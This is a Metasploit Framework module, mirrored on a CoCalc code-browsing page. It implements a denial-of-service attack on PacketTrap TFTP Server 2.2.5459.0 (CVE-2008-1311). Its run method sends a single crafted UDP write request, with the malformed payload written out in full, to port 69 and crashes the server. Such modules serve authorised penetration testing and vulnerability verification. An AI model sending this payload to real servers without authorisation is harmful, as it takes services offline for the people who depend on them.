CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/dos/windows/tftp/pt360_write.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Udp
8
include Msf::Auxiliary::Dos
9
10
def initialize(info = {})
11
super(update_info(info,
12
'Name' => 'PacketTrap TFTP Server 2.2.5459.0 DoS',
13
'Description' => %q{
14
The PacketTrap TFTP server version 2.2.5459.0 can be
15
brought down by sending a special write request.
16
},
17
'Author' => 'kris katterjohn',
18
'License' => MSF_LICENSE,
19
'References' =>
20
[
21
[ 'CVE', '2008-1311'],
22
[ 'OSVDB', '42932'],
23
[ 'EDB', '6863']
24
],
25
'DisclosureDate' => '2008-10-29'))
26
27
register_options([Opt::RPORT(69)])
28
end
29
30
def run
31
connect_udp
32
print_status("Sending write request...")
33
udp_sock.put("\x00\x02|\x00netascii\x00")
34
disconnect_udp
35
end
36
end
37
38